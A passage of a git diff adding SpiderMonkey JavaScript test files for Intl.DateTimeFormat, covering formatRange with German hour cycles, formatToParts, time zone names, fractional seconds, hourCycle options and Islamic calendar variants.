+ ],
+
+ "de": [
+ // Midnight to morning.
+ {
+ start: 0,
+ end: 10,
+ data: [
+ "00–10 Uhr",
+ "0 Uhr AM – 10 Uhr AM",
+ "12 – 10 Uhr AM",
+ "00–10 Uhr",
+ "24 Uhr – 10 Uhr",
+ ],
+ },
+ // Midnight to noon.
+ {
+ start: 0,
+ end: 12,
+ data: [
+ "00–12 Uhr",
+ "0 Uhr AM – 0 Uhr PM",
+ "12 Uhr AM – 12 Uhr PM",
+ "00–12 Uhr",
+ "24 Uhr – 12 Uhr",
+ ],
+ },
+ // Midnight to evening.
+ {
+ start: 0,
+ end: 22,
+ data: [
+ "00–22 Uhr",
+ "0 Uhr AM – 10 Uhr PM",
+ "12 Uhr AM – 10 Uhr PM",
+ "00–22 Uhr",
+ "24 Uhr – 22 Uhr",
+ ],
+ },
+ // Midnight to midnight.
+ {
+ start: 0,
+ end: 24,
+ data: [
+ "1.1.1970, 00 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 0 Uhr AM – 2.1.1970, 0 Uhr AM",
+ "1.1.1970, 12 Uhr AM – 2.1.1970, 12 Uhr AM",
+ "1.1.1970, 00 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 24 Uhr – 2.1.1970, 24 Uhr",
+ ],
+ },
+
+ // Morning to morning.
+ {
+ start: 1,
+ end: 10,
+ data: [
+ "01–10 Uhr",
+ "1 Uhr AM – 10 Uhr AM",
+ "1 – 10 Uhr AM",
+ "01–10 Uhr",
+ "01 Uhr – 10 Uhr",
+ ],
+ },
+ // Morning to noon.
+ {
+ start: 1,
+ end: 12,
+ data: [
+ "01–12 Uhr",
+ "1 Uhr AM – 0 Uhr PM",
+ "1 Uhr AM – 12 Uhr PM",
+ "01–12 Uhr",
+ "01 Uhr – 12 Uhr",
+ ],
+ },
+ // Morning to evening.
+ {
+ start: 1,
+ end: 22,
+ data: [
+ "01–22 Uhr",
+ "1 Uhr AM – 10 Uhr PM",
+ "1 Uhr AM – 10 Uhr PM",
+ "01–22 Uhr",
+ "01 Uhr – 22 Uhr",
+ ],
+ },
+ // Morning to midnight.
+ {
+ start: 1,
+ end: 24,
+ data: [
+ "1.1.1970, 01 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 1 Uhr AM – 2.1.1970, 0 Uhr AM",
+ "1.1.1970, 1 Uhr AM – 2.1.1970, 12 Uhr AM",
+ "1.1.1970, 01 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 01 Uhr – 2.1.1970, 24 Uhr",
+ ],
+ },
+
+ // Noon to morning.
+ {
+ start: 12,
+ end: 24 + 1,
+ data: [
+ "1.1.1970, 12 Uhr – 2.1.1970, 01 Uhr",
+ "1.1.1970, 0 Uhr PM – 2.1.1970, 1 Uhr AM",
+ "1.1.1970, 12 Uhr PM – 2.1.1970, 1 Uhr AM",
+ "1.1.1970, 12 Uhr – 2.1.1970, 01 Uhr",
+ "1.1.1970, 12 Uhr – 2.1.1970, 01 Uhr",
+ ],
+ },
+ // Noon to noon.
+ {
+ start: 12,
+ end: 24 + 12,
+ data: [
+ "1.1.1970, 12 Uhr – 2.1.1970, 12 Uhr",
+ "1.1.1970, 0 Uhr PM – 2.1.1970, 0 Uhr PM",
+ "1.1.1970, 12 Uhr PM – 2.1.1970, 12 Uhr PM",
+ "1.1.1970, 12 Uhr – 2.1.1970, 12 Uhr",
+ "1.1.1970, 12 Uhr – 2.1.1970, 12 Uhr",
+ ],
+ },
+ // Noon to evening.
+ {
+ start: 12,
+ end: 22,
+ data: [
+ "12–22 Uhr",
+ "0 Uhr PM – 10 Uhr PM",
+ "12 – 10 Uhr PM",
+ "12–22 Uhr",
+ "12 Uhr – 22 Uhr",
+ ],
+ },
+ // Noon to midnight.
+ {
+ start: 12,
+ end: 24,
+ data: [
+ "1.1.1970, 12 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 0 Uhr PM – 2.1.1970, 0 Uhr AM",
+ "1.1.1970, 12 Uhr PM – 2.1.1970, 12 Uhr AM",
+ "1.1.1970, 12 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 12 Uhr – 2.1.1970, 24 Uhr",
+ ],
+ },
+
+ // Evening to morning.
+ {
+ start: 22,
+ end: 24 + 1,
+ data: [
+ "1.1.1970, 22 Uhr – 2.1.1970, 01 Uhr",
+ "1.1.1970, 10 Uhr PM – 2.1.1970, 1 Uhr AM",
+ "1.1.1970, 10 Uhr PM – 2.1.1970, 1 Uhr AM",
+ "1.1.1970, 22 Uhr – 2.1.1970, 01 Uhr",
+ "1.1.1970, 22 Uhr – 2.1.1970, 01 Uhr",
+ ],
+ },
+ // Evening to noon.
+ {
+ start: 22,
+ end: 24 + 12,
+ data: [
+ "1.1.1970, 22 Uhr – 2.1.1970, 12 Uhr",
+ "1.1.1970, 10 Uhr PM – 2.1.1970, 0 Uhr PM",
+ "1.1.1970, 10 Uhr PM – 2.1.1970, 12 Uhr PM",
+ "1.1.1970, 22 Uhr – 2.1.1970, 12 Uhr",
+ "1.1.1970, 22 Uhr – 2.1.1970, 12 Uhr",
+ ],
+ },
+ // Evening to evening.
+ {
+ start: 22,
+ end: 23,
+ data: [
+ "22–23 Uhr",
+ "10 Uhr PM – 11 Uhr PM",
+ "10 – 11 Uhr PM",
+ "22–23 Uhr",
+ "22 Uhr – 23 Uhr",
+ ],
+ },
+ // Evening to midnight.
+ {
+ start: 22,
+ end: 24,
+ data: [
+ "1.1.1970, 22 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 10 Uhr PM – 2.1.1970, 0 Uhr AM",
+ "1.1.1970, 10 Uhr PM – 2.1.1970, 12 Uhr AM",
+ "1.1.1970, 22 Uhr – 2.1.1970, 00 Uhr",
+ "1.1.1970, 22 Uhr – 2.1.1970, 24 Uhr",
+ ],
+ },
+ ],
+};
+
+const hourCycles = [undefined, "h11", "h12", "h23", "h24"];
+const hour12Values = [true, false];
+const options = {hour: "2-digit", timeZone: "UTC"};
+const hourToMillis = 60 * 60 * 1000;
+
+for (let [locale, test] of Object.entries(tests)) {
+ // Find the matching hourCycle for each hour12 value.
+ let hour12Cycles = hour12Values.map(hour12 => {
+ let {hourCycle} = new Intl.DateTimeFormat(locale, {...options, hour12}).resolvedOptions();
+ return hourCycles.indexOf(hourCycle);
+ });
+
+ for (let {start, end, data} of Object.values(test)) {
+ assertEq(data.length, hourCycles.length);
+
+ // Test all possible "hourCycle" values, including |undefined|.
+ for (let i = 0; i < hourCycles.length; i++) {
+ let hourCycle = hourCycles[i];
+ let expected = data[i];
+ let dtf = new Intl.DateTimeFormat(locale, {...options, hourCycle});
+
+ assertEq(dtf.formatRange(start * hourToMillis, end * hourToMillis), expected,
+ `hourCycle: ${hourCycle}`);
+ }
+
+ // Test all possible "hour12" values.
+ for (let i = 0; i < hour12Values.length; i++) {
+ let hour12 = hour12Values[i];
+ let dtf = new Intl.DateTimeFormat(locale, {...options, hour12});
+ let expected = data[hour12Cycles[i]];
+
+ assertEq(dtf.formatRange(start * hourToMillis, end * hourToMillis), expected,
+ `hour12: ${hour12}`);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/formatRange-matches-format-output.js b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-matches-format-output.js
new file mode 100644
index 0000000000..713ba39813
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/formatRange-matches-format-output.js
@@ -0,0 +1,58 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+// formatRange() returns the same output as format() when the date-time difference between
+// the start and end date is too small.
+
+// Test case when skeleton can't be retrieved from resolved pattern (bug 1298794).
+// - Best-fit pattern for the skeleton "MMMMMdd" is "M月dd日".
+// - Best-fit pattern for the skeleton "Mdd" is "M/dd".
+//
+// So in both cases the skeleton characters in the pattern are "Mdd", which means we can't
+// retrieve the original input skeleton by simply inspecting the resolved pattern.
+//
+// Also see: https://unicode-org.atlassian.net/browse/ICU-13518
+{
+ let dtf = new Intl.DateTimeFormat("zh", {month: "narrow", day: "2-digit", timeZone: "UTC"});
+ assertEq(dtf.formatRange(0, 0), dtf.format(0));
+}
+
+// Test that date-/time-style leads to the same output.
+// ICU bug: https://unicode-org.atlassian.net/browse/ICU-20710
+{
+ let dtf = new Intl.DateTimeFormat("en", {dateStyle: "full", timeStyle: "full"});
+ assertEq(dtf.formatRange(0, 0), dtf.format(0));
+}
+
+// Test that the hourCycle option is correctly processed (test with h24).
+// ICU bug: https://unicode-org.atlassian.net/browse/ICU-20707
+{
+ let dtf = new Intl.DateTimeFormat("en-u-hc-h24", {hour: "2-digit", timeZone:"UTC"});
+ assertEq(dtf.formatRange(0, 0), dtf.format(0));
+}
+{
+ let dtf = new Intl.DateTimeFormat("en", {hourCycle: "h24", hour: "2-digit", timeZone:"UTC"});
+ assertEq(dtf.formatRange(0, 0), dtf.format(0));
+}
+
+// Test that the hourCycle option is correctly processed (test with h11).
+// ICU bug: https://unicode-org.atlassian.net/browse/ICU-20707
+{
+ let dt = 60 * 60 * 1000; // one hour
+ let dtf = new Intl.DateTimeFormat("en-u-hc-h11", {hour: "2-digit", timeZone:"UTC"});
+ assertEq(dtf.formatRange(dt, dt), dtf.format(dt));
+}
+{
+ let dt = 60 * 60 * 1000; // one hour
+ let dtf = new Intl.DateTimeFormat("en", {hourCycle: "h11", hour: "2-digit", timeZone:"UTC"});
+ assertEq(dtf.formatRange(dt, dt), dtf.format(dt));
+}
+
+// Test that non-default calendars work correctly.
+// ICU bug: https://unicode-org.atlassian.net/browse/ICU-20706
+{
+ let dtf = new Intl.DateTimeFormat("en-001-u-ca-hebrew");
+ assertEq(dtf.formatRange(0, 0), dtf.format(0));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/formatToParts.js b/js/src/tests/non262/Intl/DateTimeFormat/formatToParts.js
new file mode 100644
index 0000000000..62f0d69406
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/formatToParts.js
@@ -0,0 +1,96 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Tests the format function with a diverse set of locales and options.
+// Always use UTC to avoid dependencies on test environment.
+
+const {
+ Era, Year, Month, Weekday, Day, DayPeriod, Hour, Minute, Second, Literal
+} = DateTimeFormatParts
+
+var format;
+var date = Date.UTC(2012, 11, 17, 3, 0, 42);
+
+// Locale en-US; default options.
+format = new Intl.DateTimeFormat("en-us", {timeZone: "UTC"});
+assertParts(format, date, [
+ Month("12"), Literal("/"), Day("17"), Literal("/"), Year("2012"),
+]);
+
+// Just date
+format = new Intl.DateTimeFormat("en-us", {
+ year: 'numeric',
+ month: 'numeric',
+ day: 'numeric',
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Month("12"), Literal("/"), Day("17"), Literal("/"), Year("2012"),
+]);
+
+// Just time in hour24
+format = new Intl.DateTimeFormat("en-us", {
+ hour: 'numeric',
+ minute: 'numeric',
+ second: 'numeric',
+ hour12: false,
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Hour("03"), Literal(":"), Minute("00"), Literal(":"), Second("42"),
+]);
+
+// Just time in hour12
+format = new Intl.DateTimeFormat("en-us", {
+ hour: 'numeric',
+ minute: 'numeric',
+ second: 'numeric',
+ hour12: true,
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Hour("3"), Literal(":"), Minute("00"), Literal(":"), Second("42"), Literal(" "), DayPeriod("AM"),
+]);
+
+// Just month.
+format = new Intl.DateTimeFormat("en-us", {
+ month: "narrow",
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Month("D"),
+]);
+
+// Just weekday.
+format = new Intl.DateTimeFormat("en-us", {
+ weekday: "narrow",
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Weekday("M"),
+]);
+
+// Year and era.
+format = new Intl.DateTimeFormat("en-us", {
+ year: "numeric",
+ era: "short",
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Year("2012"), Literal(" "), Era("AD"),
+]);
+
+// Time and date
+format = new Intl.DateTimeFormat("en-us", {
+ weekday: 'long',
+ year: 'numeric',
+ month: 'numeric',
+ day: 'numeric',
+ hour: 'numeric',
+ minute: 'numeric',
+ second: 'numeric',
+ hour12: true,
+ timeZone: "UTC"});
+assertParts(format, date, [
+ Weekday("Monday"), Literal(", "), Month("12"), Literal("/"), Day("17"), Literal("/"), Year("2012"),
+ Literal(", "),
+ Hour("3"), Literal(":"), Minute("00"), Literal(":"), Second("42"), Literal(" "), DayPeriod("AM"),
+]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/format_timeZone-non-meta.js b/js/src/tests/non262/Intl/DateTimeFormat/format_timeZone-non-meta.js
new file mode 100644
index 0000000000..f3de06bb97
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/format_timeZone-non-meta.js
@@ -0,0 +1,62 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Ensure we provide 'long' and 'short' descriptive names for non-meta time
+// zones. (CLDR stores names for Etc/UTC, Europe/Dublin, and Europe/London as
+// non-meta zones.)
+
+const date = new Date(Date.UTC(2018, 7-1, 24));
+const tests = [
+ {
+ locale: "en-US",
+ timeZoneName: "long",
+ zones: {
+ "Etc/UTC": "7/24/2018, Coordinated Universal Time",
+ "Europe/Dublin": "7/24/2018, Irish Standard Time",
+ "Europe/London": "7/24/2018, British Summer Time",
+ }
+ },
+ {
+ locale: "de",
+ timeZoneName: "long",
+ zones: {
+ "Etc/UTC": "24.7.2018, Koordinierte Weltzeit",
+ "Europe/Dublin": "24.7.2018, Irische Sommerzeit",
+ "Europe/London": "24.7.2018, Britische Sommerzeit",
+ }
+ },
+
+ {
+ locale: "en-US",
+ timeZoneName: "short",
+ zones: {
+ "Europe/Dublin": "7/24/2018, GMT+1",
+ "Europe/London": "7/24/2018, GMT+1",
+ }
+ },
+ {
+ locale: "en-GB",
+ timeZoneName: "short",
+ zones: {
+ "Europe/Dublin": "24/07/2018, GMT+1",
+ "Europe/London": "24/07/2018, BST",
+ }
+ },
+ {
+ locale: "en-IE",
+ timeZoneName: "short",
+ zones: {
+ "Europe/Dublin": "24/7/2018, IST",
+ "Europe/London": "24/7/2018, GMT+1",
+ }
+ },
+];
+
+for (let {locale, timeZoneName, zones} of tests) {
+ for (let [timeZone, expected] of Object.entries(zones)) {
+ assertEq(new Intl.DateTimeFormat(locale, {timeZone, timeZoneName}).format(date),
+ expected);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/format_timeZone.js b/js/src/tests/non262/Intl/DateTimeFormat/format_timeZone.js
new file mode 100644
index 0000000000..8b9f5b0c94
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/format_timeZone.js
@@ -0,0 +1,104 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const defaultLocale = "en-US";
+const defaultDate = Date.UTC(2012, 12-1, 6, 12, 0, 0);
+const defaultOptions = {
+ year: "numeric", month: "numeric", day: "numeric",
+ hour: "numeric", minute: "numeric", second: "numeric",
+};
+const longFormatOptions = Object.assign({}, defaultOptions, {
+ month: "long"
+});
+const tzNameFormatOptions = Object.assign({}, defaultOptions, {
+ timeZoneName: "short"
+});
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+const tests = [
+ {
+ timeZone: "UTC",
+ result: "12/6/2012, 12:00:00 PM",
+ },
+ {
+ timeZone: "America/Los_Angeles",
+ result: "12/6/2012, 4:00:00 AM",
+ },
+ {
+ timeZone: "America/New_York",
+ options: tzNameFormatOptions,
+ result: "12/6/2012, 7:00:00 AM EST",
+ },
+ {
+ timeZone: "America/Caracas",
+ result: "12/6/2012, 7:30:00 AM",
+ },
+ {
+ timeZone: "Europe/London",
+ result: "12/6/2012, 12:00:00 PM",
+ },
+ {
+ timeZone: "Africa/Casablanca",
+ locale: "ar-MA-u-ca-islamicc", options: longFormatOptions,
+ result: "22 محرم 1434 هـ 12:00:00",
+ },
+ {
+ timeZone: "Europe/Berlin",
+ locale: "de-DE", options: tzNameFormatOptions,
+ result: "6.12.2012, 13:00:00 MEZ",
+ },
+ {
+ timeZone: "Asia/Kathmandu",
+ result: "12/6/2012, 5:45:00 PM",
+ },
+ {
+ timeZone: "Asia/Bangkok",
+ locale: "th-th-u-nu-thai", options: longFormatOptions,
+ result: "๖ ธันวาคม ๒๕๕๕ ๑๙:๐๐:๐๐",
+ },
+ {
+ timeZone: "Asia/Tokyo",
+ locale: "ja-JP", options: longFormatOptions,
+ result: "2012年12月6日 21:00:00",
+ },
+ {
+ timeZone: "Australia/Lord_Howe",
+ result: "12/6/2012, 11:00:00 PM",
+ },
+ {
+ timeZone: "Australia/Lord_Howe",
+ date: Date.UTC(2012, 7-1, 6, 12, 0, 0),
+ result: "7/6/2012, 10:30:00 PM",
+ },
+ {
+ timeZone: "Pacific/Kiritimati",
+ date: Date.UTC(1978, 12-1, 6, 12, 0, 0),
+ result: "12/6/1978, 1:20:00 AM",
+ },
+ {
+ timeZone: "Africa/Monrovia",
+ date: Date.UTC(1971, 12-1, 6, 12, 0, 0),
+ result: "12/6/1971, 11:15:30 AM",
+ },
+ {
+ timeZone: "Asia/Riyadh",
+ date: Date.UTC(1946, 12-1, 6, 12, 0, 0),
+ result: "12/6/1946, 3:06:52 PM",
+ },
+];
+
+for (let {timeZone, result, locale = defaultLocale, date = defaultDate, options = defaultOptions} of tests) {
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(locale, Object.assign({timeZone: map(timeZone)}, options));
+ assertEq(dtf.format(date), result);
+ assertEq(dtf.resolvedOptions().timeZone, timeZone);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits-append-item.js b/js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits-append-item.js
new file mode 100644
index 0000000000..c85b310e56
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits-append-item.js
@@ -0,0 +1,67 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+if (typeof getBuildConfiguration === "undefined") {
+ var getBuildConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getBuildConfiguration;
+}
+
+var isNightly = !getBuildConfiguration().release_or_beta;
+
+const {
+ DayPeriod, Hour, Minute, Second, FractionalSecond, Literal
+} = DateTimeFormatParts
+
+const tests = [
+ // https://unicode-org.atlassian.net/browse/CLDR-13184
+ // https://unicode-org.atlassian.net/browse/CLDR-13623
+ {
+ locale: "en",
+ date: new Date("2020-01-01T00:00:00.123"),
+ options: {hour: "numeric", fractionalSecondDigits: 3},
+ parts: [
+ Hour("12"),
+ Literal(" "),
+ DayPeriod("AM"),
+ Literal(" (Fractional Second: "),
+ FractionalSecond("123"),
+ Literal(")")
+ ]
+ },
+
+ // https://unicode-org.atlassian.net/browse/ICU-20992
+ {
+ locale: "ckb-IR",
+ date: new Date("2020-01-01T00:00:00.123"),
+ options: {minute: "2-digit", fractionalSecondDigits: 3},
+ parts: [
+ Second("٠"),
+ Literal("٫"),
+ FractionalSecond("١٢٣"),
+ Literal(" (Minute: "),
+ Minute("٠"),
+ Literal(")")
+ ]
+ },
+];
+
+if (isNightly) {
+ // https://unicode-org.atlassian.net/browse/ICU-20992
+ tests.push({
+ locale: "ckb-IR",
+ date: new Date("2020-01-01T00:00:00.123"),
+ options: {dayPeriod: "short", fractionalSecondDigits: 3},
+ parts: [
+ FractionalSecond("١٢٣"),
+ Literal(" (Dayperiod: "),
+ DayPeriod("ب.ن"),
+ Literal(")")
+ ]
+ });
+}
+
+for (let {locale, date, options, parts} of tests) {
+ let dtf = new Intl.DateTimeFormat(locale, options);
+ assertParts(dtf, date, parts);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits.js b/js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits.js
new file mode 100644
index 0000000000..c6c29be604
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Second, FractionalSecond, Literal
+} = DateTimeFormatParts
+
+const tests = [
+ {
+ date: new Date("2019-01-01T00:00:00.123"),
+ digits: {
+ 1: [Second("0"), Literal("."), FractionalSecond("1")],
+ 2: [Second("0"), Literal("."), FractionalSecond("12")],
+ 3: [Second("0"), Literal("."), FractionalSecond("123")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00.023"),
+ digits: {
+ 1: [Second("0"), Literal("."), FractionalSecond("0")],
+ 2: [Second("0"), Literal("."), FractionalSecond("02")],
+ 3: [Second("0"), Literal("."), FractionalSecond("023")],
+ }
+ },
+ {
+ date: new Date("2019-01-01T00:00:00.003"),
+ digits: {
+ 1: [Second("0"), Literal("."), FractionalSecond("0")],
+ 2: [Second("0"), Literal("."), FractionalSecond("00")],
+ 3: [Second("0"), Literal("."), FractionalSecond("003")],
+ }
+ },
+];
+
+for (let {date, digits} of tests) {
+ for (let [fractionalSecondDigits, parts] of Object.entries(digits)) {
+ let dtf = new Intl.DateTimeFormat("en", {second: "numeric", fractionalSecondDigits});
+
+ assertParts(dtf, date, parts);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/hourCycle.js b/js/src/tests/non262/Intl/DateTimeFormat/hourCycle.js
new file mode 100644
index 0000000000..21414c72cf
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/hourCycle.js
@@ -0,0 +1,142 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const hourCycleToH12Map = {
+ "h11": true,
+ "h12": true,
+ "h23": false,
+ "h24": false,
+};
+
+for (const key of Object.keys(hourCycleToH12Map)) {
+ const langTag = "en-US";
+ const loc = `${langTag}-u-hc-${key}`;
+
+ const dtf = new Intl.DateTimeFormat(loc, {hour: "numeric"});
+ const dtf2 = new Intl.DateTimeFormat(langTag, {hour: "numeric", hourCycle: key});
+ assertEq(dtf.resolvedOptions().hourCycle, dtf2.resolvedOptions().hourCycle);
+}
+
+
+/* Legacy hour12 compatibility */
+
+// When constructed with hourCycle option, resolvedOptions' hour12 is correct.
+for (const key of Object.keys(hourCycleToH12Map)) {
+ const dtf = new Intl.DateTimeFormat("en-US", {hour: "numeric", hourCycle: key});
+ assertEq(dtf.resolvedOptions().hour12, hourCycleToH12Map[key]);
+}
+
+// When constructed with hour12 option, resolvedOptions' hourCycle is correct
+for (const [key, value] of Object.entries(hourCycleToH12Map)) {
+ const dtf = new Intl.DateTimeFormat("en-US", {hour: "numeric", hour12: value});
+ assertEq(hourCycleToH12Map[dtf.resolvedOptions().hourCycle], value);
+}
+
+// When constructed with both hour12 and hourCycle options that don't match
+// hour12 takes a precedence.
+for (const [key, value] of Object.entries(hourCycleToH12Map)) {
+ const dtf = new Intl.DateTimeFormat("en-US", {
+ hour: "numeric",
+ hourCycle: key,
+ hour12: !value
+ });
+ assertEq(hourCycleToH12Map[dtf.resolvedOptions().hourCycle], !value);
+ assertEq(dtf.resolvedOptions().hour12, !value);
+}
+
+// When constructed with hourCycle as extkey, resolvedOptions' hour12 is correct.
+for (const [key, value] of Object.entries(hourCycleToH12Map)) {
+ const langTag = "en-US";
+ const loc = `${langTag}-u-hc-${key}`;
+
+ const dtf = new Intl.DateTimeFormat(loc, {hour: "numeric"});
+ assertEq(dtf.resolvedOptions().hour12, value);
+}
+
+const expectedValuesENUS = {
+ h11: "0 AM",
+ h12: "12 AM",
+ h23: "00",
+ h24: "24"
+};
+
+const exampleDate = new Date(2017, 10-1, 10, 0);
+for (const [key, val] of Object.entries(expectedValuesENUS)) {
+ assertEq(
+ Intl.DateTimeFormat("en-US", {hour: "numeric", hourCycle: key}).format(exampleDate),
+ val
+ );
+}
+
+const invalidHourCycleValues = [
+ "h28",
+ "f28",
+];
+
+for (const key of invalidHourCycleValues) {
+ const langTag = "en-US";
+ const loc = `${langTag}-u-hc-${key}`;
+
+ const dtf = new Intl.DateTimeFormat(loc, {hour: "numeric"});
+ assertEq(dtf.resolvedOptions().hour12, true); // default value for en-US
+ assertEq(dtf.resolvedOptions().hourCycle, "h12"); //default value for en-US
+}
+
+{
+ // hourCycle is not present in resolvedOptions when the formatter has no hour field
+ const options = Intl.DateTimeFormat("en-US", {hourCycle:"h11"}).resolvedOptions();
+ assertEq("hourCycle" in options, false);
+ assertEq("hour12" in options, false);
+}
+
+{
+ // Make sure that hourCycle option overrides the unicode extension
+ let dtf = Intl.DateTimeFormat("en-US-u-hc-h23", {hourCycle: "h24", hour: "numeric"});
+ assertEq(
+ dtf.resolvedOptions().hourCycle,
+ "h24"
+ );
+}
+
+{
+ // Make sure that hour12 option overrides the unicode extension
+ let dtf = Intl.DateTimeFormat("en-US-u-hc-h23", {hour12: true, hour: "numeric"});
+ assertEq(
+ dtf.resolvedOptions().hourCycle,
+ "h12"
+ );
+}
+
+{
+ // Make sure that hour12 option overrides hourCycle options
+ let dtf = Intl.DateTimeFormat("en-US",
+ {hourCycle: "h12", hour12: false, hour: "numeric"});
+ assertEq(
+ dtf.resolvedOptions().hourCycle,
+ "h23"
+ );
+}
+
+{
+ // Make sure that hour12 option overrides hourCycle options
+ let dtf = Intl.DateTimeFormat("en-u-hc-h11", {hour: "numeric"});
+ assertEq(
+ dtf.resolvedOptions().locale,
+ "en-u-hc-h11"
+ );
+}
+
+{
+ // Make sure that hour12 option overrides unicode extension
+ let dtf = Intl.DateTimeFormat("en-u-hc-h11", {hour: "numeric", hourCycle: "h24"});
+ assertEq(
+ dtf.resolvedOptions().locale,
+ "en"
+ );
+ assertEq(
+ dtf.resolvedOptions().hourCycle,
+ "h24"
+ );
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/islamic.js b/js/src/tests/non262/Intl/DateTimeFormat/islamic.js
new file mode 100644
index 0000000000..3a88590ea5
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/islamic.js
@@ -0,0 +1,89 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+function civilDate(options, date) {
+ var opts = Object.assign({timeZone: "Asia/Riyadh"}, options);
+ return new Intl.DateTimeFormat("ar-SA-u-ca-islamic-civil-nu-latn", opts).format(date);
+}
+
+function tabularDate(options, date) {
+ var opts = Object.assign({timeZone: "Asia/Riyadh"}, options);
+ return new Intl.DateTimeFormat("ar-SA-u-ca-islamic-tbla-nu-latn", opts).format(date);
+}
+
+function sightingDate(options, date) {
+ var opts = Object.assign({timeZone: "Asia/Riyadh"}, options);
+ return new Intl.DateTimeFormat("ar-SA-u-ca-islamic-rgsa-nu-latn", opts).format(date);
+}
+
+function ummAlQuraDate(options, date) {
+ var opts = Object.assign({timeZone: "Asia/Riyadh"}, options);
+ return new Intl.DateTimeFormat("ar-SA-u-ca-umalqura-nu-latn", opts).format(date);
+}
+
+// Test islamic-tbla (Tabular / Thursday epoch).
+// Compare with islamic-civil (Tabular / Friday epoch).
+function testIslamicTbla() {
+ var date = new Date(Date.UTC(2015, 1 - 1, 1));
+
+ // Month and year are the same.
+ var monthYear = {year: "numeric", month: "numeric"};
+ assertEq(civilDate(monthYear, date), tabularDate(monthYear, date));
+
+ // Day is different by one.
+ var day = {day: "numeric"};
+ assertEq(Number(civilDate(day, date)) - Number(tabularDate(day, date)), -1);
+}
+
+// Test islamic-rgsa (Saudi Arabia sighting).
+// Sighting of the hilal (crescent moon) in Saudi Arabia.
+function testIslamicRgsa() {
+ var date1 = new Date(Date.UTC(1975, 5 - 1, 6));
+ var date2 = new Date(Date.UTC(2015, 1 - 1, 1));
+ var dayMonthYear = {year: "numeric", month: "numeric", day: "numeric"};
+
+ assertEq(sightingDate(dayMonthYear, date1), tabularDate(dayMonthYear, date1));
+ assertEq(sightingDate(dayMonthYear, date2), civilDate(dayMonthYear, date2));
+}
+
+// Test islamic-umalqura (Umm al-Qura).
+function testIslamicUmalqura() {
+ var year = {year: "numeric"};
+ var month = {month: "numeric"};
+ var day = {day: "numeric"};
+
+ // From ICU test files, which in turn was generated from:
+ // Official Umm-al-Qura calendar of SA:
+ // home, http://www.ummulqura.org.sa/default.aspx
+ // converter, http://www.ummulqura.org.sa/Index.aspx
+ var dates = [
+ [ {year: 2016, month: 1, day: 11}, {year: 1437, month: 4, day: 1} ],
+ [ {year: 2016, month: 2, day: 10}, {year: 1437, month: 5, day: 1} ],
+ [ {year: 2016, month: 3, day: 10}, {year: 1437, month: 6, day: 1} ],
+ [ {year: 2016, month: 4, day: 8}, {year: 1437, month: 7, day: 1} ],
+ [ {year: 2016, month: 5, day: 8}, {year: 1437, month: 8, day: 1} ],
+ [ {year: 2016, month: 6, day: 6}, {year: 1437, month: 9, day: 1} ],
+ [ {year: 2016, month: 7, day: 6}, {year: 1437, month: 10, day: 1} ],
+ [ {year: 2016, month: 8, day: 4}, {year: 1437, month: 11, day: 1} ],
+ [ {year: 2016, month: 9, day: 2}, {year: 1437, month: 12, day: 1} ],
